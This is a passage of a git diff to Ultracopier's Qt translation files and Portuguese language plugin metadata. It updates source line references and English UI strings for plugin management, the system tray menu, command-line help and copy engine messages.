<source>Tag not found: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Are you sure about removing &quot;%1&quot; in version %2?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error while the removing plugin, please check the rights on the folder:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Previous import is in progress...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Open Ultracopier plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Ultracopier plugin (*.urc)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="775"/>
- <location filename="../../../PluginsManager.cpp" line="788"/>
- <location filename="../../../PluginsManager.cpp" line="806"/>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
<source>Unable to open the plugin: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Unable to load the plugin content, please check it: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="775"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
<source>Unable to create a folder to install the plugin:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="788"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
<source>Unable to create a file to install the plugin:
%1
since:%2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="806"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
<source>Folder with same name is present, skip the plugin installation:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
<source>Unable to load the plugin content, please check it</source>
<translation type="unfinished"></translation>
</message>
@@ -1012,44 +1220,44 @@ since:%2</source>
<context>
<name>QXzDecode</name>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="40"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="95"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="38"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="93"/>
<source>Memory allocation failed</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="66"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="84"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="64"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="82"/>
<source>Write error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="99"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="97"/>
<source>Memory usage limit reached</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="103"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="101"/>
<source>Not a .xz file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="107"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="105"/>
<source>Unsupported options in the .xz headers</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="112"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="110"/>
<source>The file is corrupted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="116"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="114"/>
<source>Bug!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="126"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="124"/>
<source>The input data is too short</source>
<translation type="unfinished"></translation>
</message>
@@ -1057,85 +1265,117 @@ since:%2</source>
<context>
<name>SystrayIcon</name>
<message>
- <location filename="../../../SystrayIcon.cpp" line="110"/>
+ <location filename="../../../SystrayIcon.cpp" line="163"/>
<source>No copy listener found. Do the copy manually by right click one the system tray icon.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="116"/>
+ <location filename="../../../SystrayIcon.cpp" line="169"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="127"/>
- <source>Searching informations...</source>
+ <location filename="../../../SystrayIcon.cpp" line="187"/>
+ <source>Searching information...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="140"/>
- <source>Not catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="200"/>
+ <source>Do not replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="145"/>
- <source>Semi catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="205"/>
+ <source>Semi replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="150"/>
- <source>Catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="210"/>
+ <source>Replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
- <source>Action on the systray icon is unknown!</source>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
+ <source>The action on the systray icon is unknown!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="356"/>
+ <location filename="../../../SystrayIcon.cpp" line="425"/>
<source>&amp;About/Debug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="358"/>
+ <location filename="../../../SystrayIcon.cpp" line="427"/>
<source>&amp;About</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="360"/>
+ <location filename="../../../SystrayIcon.cpp" line="430"/>
+ <source>&amp;Save bug report</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="432"/>
<source>&amp;Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="361"/>
+ <location filename="../../../SystrayIcon.cpp" line="433"/>
<source>&amp;Options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="362"/>
+ <location filename="../../../SystrayIcon.cpp" line="485"/>
<source>A&amp;dd copy/moving</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="407"/>
- <location filename="../../../SystrayIcon.cpp" line="429"/>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>New version: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>Click here to go on download page</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="511"/>
+ <source>&amp;Copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="525"/>
+ <location filename="../../../SystrayIcon.cpp" line="539"/>
+ <source>&amp;Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="529"/>
+ <location filename="../../../SystrayIcon.cpp" line="543"/>
+ <source>&amp;Move</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="560"/>
+ <location filename="../../../SystrayIcon.cpp" line="577"/>
<source>Add &amp;copy</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="413"/>
- <location filename="../../../SystrayIcon.cpp" line="435"/>
+ <location filename="../../../SystrayIcon.cpp" line="566"/>
+ <location filename="../../../SystrayIcon.cpp" line="583"/>
<source>Add &amp;transfer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="417"/>
- <location filename="../../../SystrayIcon.cpp" line="439"/>
+ <location filename="../../../SystrayIcon.cpp" line="570"/>
+ <location filename="../../../SystrayIcon.cpp" line="587"/>
<source>Add &amp;move</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/Languages/pt/flag.png b/plugins/Languages/pt/flag.png
index 4d5cedb..3fb1e36 100644
--- a/plugins/Languages/pt/flag.png
+++ b/plugins/Languages/pt/flag.png
Binary files differ
diff --git a/plugins/Languages/pt/informations.xml b/plugins/Languages/pt/informations.xml
index 36817b5..f7ed085 100644
--- a/plugins/Languages/pt/informations.xml
+++ b/plugins/Languages/pt/informations.xml
@@ -10,14 +10,13 @@
<!-- the date-time format should be in timestamps format -->
<pubDate>1287496800</pubDate>
<!-- Detailed description -->
- <description xml:lang="en"><![CDATA[Translation of Ultracopier to portuguese. Done for version 0.3.0.0. For more details see the web site.]]></description>
+ <description xml:lang="en"><![CDATA[Translation of Ultracopier to portuguese. For more details see the web site.]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.0.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>pt</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- <=ultracopier-0.3
]]></dependencies>
<!-- Additional information that is specific to the category (in this case Language). -->
<categorySpecific>
diff --git a/plugins/Languages/pt/translation.ts b/plugins/Languages/pt/translation.ts
index d838fb7..b02bb87 100644
--- a/plugins/Languages/pt/translation.ts
+++ b/plugins/Languages/pt/translation.ts
@@ -4,77 +4,83 @@
<context>
<name>CliParser</name>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
- <location filename="../../../CliParser.cpp" line="63"/>
- <location filename="../../../CliParser.cpp" line="73"/>
- <location filename="../../../CliParser.cpp" line="83"/>
- <location filename="../../../CliParser.cpp" line="166"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <location filename="../../../CliParser.cpp" line="179"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
<source>Ultracopier is already running, right click on its system tray icon (near the clock) to use it</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="63"/>
- <source>Problem at the reading, or file size is null</source>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <source>Problem reading file, or file size is 0</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="73"/>
- <source>This file is not supported transfer list</source>
+ <location filename="../../../CliParser.cpp" line="159"/>
+ <location filename="../../../CliParser.cpp" line="170"/>
+ <source>The arguments possible are:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="83"/>
- <source>Unable to open the transfer list file</source>
+ <location filename="../../../CliParser.cpp" line="161"/>
+ <location filename="../../../CliParser.cpp" line="172"/>
+ <source>To display the options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="148"/>
- <location filename="../../../CliParser.cpp" line="158"/>
- <source>The arguments possibles are:</source>
+ <location filename="../../../CliParser.cpp" line="162"/>
+ <location filename="../../../CliParser.cpp" line="173"/>
+ <source>To quit the other instances (if running)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="149"/>
- <location filename="../../../CliParser.cpp" line="159"/>
- <source>To have this help</source>
+ <location filename="../../../CliParser.cpp" line="164"/>
+ <location filename="../../../CliParser.cpp" line="175"/>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="150"/>
- <location filename="../../../CliParser.cpp" line="160"/>
- <source>To quit the other instance running (if have)</source>
+ <location filename="../../../CliParser.cpp" line="165"/>
+ <location filename="../../../CliParser.cpp" line="176"/>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="151"/>
- <location filename="../../../CliParser.cpp" line="161"/>
- <source>To pass transfer list to do</source>
+ <location filename="../../../CliParser.cpp" line="169"/>
+ <source>Command not valid</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="152"/>
- <location filename="../../../CliParser.cpp" line="162"/>
- <source>To copy sources separated by space to destination. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <source>This file is not supported transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="153"/>
- <location filename="../../../CliParser.cpp" line="163"/>
- <source>Same as above, but with move</source>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <source>Unable to open the transfer list file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="157"/>
- <source>Command line not understand</source>
+ <location filename="../../../CliParser.cpp" line="160"/>
+ <location filename="../../../CliParser.cpp" line="171"/>
+ <source>To display this help</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="163"/>
+ <location filename="../../../CliParser.cpp" line="174"/>
+ <source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="168"/>
+ <location filename="../../../CliParser.cpp" line="181"/>
<source>Help</source>
<translation type="unfinished"></translation>
</message>
@@ -82,396 +88,479 @@
<context>
<name>CopyEngineManager</name>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <source>Cannot find any copy engine with motions support</source>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <source>Cannot find any copy engine with move support</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <source>Cannot find any compatible engine!</source>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <source>This copy engine does not support move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <source>This copy engine does not support motions</source>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <source>Cannot find any compatible engine!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Cannot find any engine with this name: %1</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
+ <name>CopyListener</name>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error during the reception of the copy/move list
+%1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
<name>Core</name>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
- <location filename="../../../Core.cpp" line="234"/>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
<source>Unable to get a copy engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="234"/>
- <source>The argument for the mode is not understand</source>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Group window</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Do you want group the transfer with another actual running transfer?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="116"/>
+ <source>Unable to get a engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <source>The argument for the mode is not valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="1133"/>
+ <source>Do you want to copy? If no, it will be moved.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
<source>Unable to load the interface, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Unable to load the copy engine, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
+ <location filename="../../../Core.cpp" line="1133"/>
<source>Transfer mode</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>EventDispatcher</name>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Key</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
- <source>Do you want do as a copy? Else if you reply no, it will be moved.</source>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Give the key of this software, more information on &lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;ultracopier.first-world.info&lt;/a&gt;</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>FacilityEngine</name>
<message>
- <location filename="../../../FacilityEngine.cpp" line="40"/>
+ <location filename="../../../FacilityEngine.cpp" line="43"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="41"/>
+ <location filename="../../../FacilityEngine.cpp" line="45"/>
<source>Copy</source>
+ <extracomment>a copy</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="42"/>
+ <location filename="../../../FacilityEngine.cpp" line="49"/>
<source>Move</source>
+ <extracomment>a move</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="43"/>
+ <location filename="../../../FacilityEngine.cpp" line="51"/>
<source>Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="44"/>
+ <location filename="../../../FacilityEngine.cpp" line="52"/>
<source>Resume</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="45"/>
- <location filename="../../../FacilityEngine.cpp" line="59"/>
+ <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="67"/>
<source>Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="46"/>
+ <location filename="../../../FacilityEngine.cpp" line="54"/>
<source>Unlimited</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="24"/>
+ <location filename="../../../FacilityEngine.cpp" line="27"/>
<source>s</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="25"/>
+ <location filename="../../../FacilityEngine.cpp" line="28"/>
<source>Too big</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="26"/>
+ <location filename="../../../FacilityEngine.cpp" line="29"/>
<source>B</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="27"/>
+ <location filename="../../../FacilityEngine.cpp" line="30"/>
<source>KB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="28"/>
+ <location filename="../../../FacilityEngine.cpp" line="31"/>
<source>MB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="29"/>
+ <location filename="../../../FacilityEngine.cpp" line="32"/>
<source>GB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="30"/>
+ <location filename="../../../FacilityEngine.cpp" line="33"/>
<source>TB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="31"/>
+ <location filename="../../../FacilityEngine.cpp" line="34"/>
<source>PB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="32"/>
+ <location filename="../../../FacilityEngine.cpp" line="35"/>
<source>EB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="33"/>
+ <location filename="../../../FacilityEngine.cpp" line="36"/>
<source>ZB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="34"/>
+ <location filename="../../../FacilityEngine.cpp" line="37"/>
<source>YB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="35"/>
+ <location filename="../../../FacilityEngine.cpp" line="38"/>
<source>Less than %10 seconds</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="36"/>
+ <location filename="../../../FacilityEngine.cpp" line="39"/>
<source>About %10 seconds remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="37"/>
+ <location filename="../../../FacilityEngine.cpp" line="40"/>
<source>About %1 minutes remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="38"/>
+ <location filename="../../../FacilityEngine.cpp" line="41"/>
<source>About %1 hours remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../FacilityEngine.cpp" line="47"/>
+ <source>Transfer</source>
+ <extracomment>a transfer</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <source>Start</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="55"/>
<source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="48"/>
+ <location filename="../../../FacilityEngine.cpp" line="56"/>
<source>Size</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="49"/>
+ <location filename="../../../FacilityEngine.cpp" line="57"/>
<source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <location filename="../../../FacilityEngine.cpp" line="58"/>
<source>Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="51"/>
+ <location filename="../../../FacilityEngine.cpp" line="59"/>
<source>Target</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="52"/>
- <location filename="../../../FacilityEngine.cpp" line="56"/>
+ <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="64"/>
<source>Time remaining:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="61"/>
<source>Listing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="54"/>
+ <location filename="../../../FacilityEngine.cpp" line="62"/>
<source>Copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="55"/>
+ <location filename="../../../FacilityEngine.cpp" line="63"/>
<source>Listing and copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="58"/>
+ <location filename="../../../FacilityEngine.cpp" line="66"/>
<source>Ask</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="68"/>
<source>Overwrite</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="61"/>
+ <location filename="../../../FacilityEngine.cpp" line="69"/>
<source>Overwrite if newer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="62"/>
+ <location filename="../../../FacilityEngine.cpp" line="70"/>
<source>Overwrite if the last modification dates are different</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="63"/>
+ <location filename="../../../FacilityEngine.cpp" line="71"/>
<source>Rename</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="64"/>
- <source>Put to end of the list</source>
+ <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <source>Put to the end of the list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="65"/>
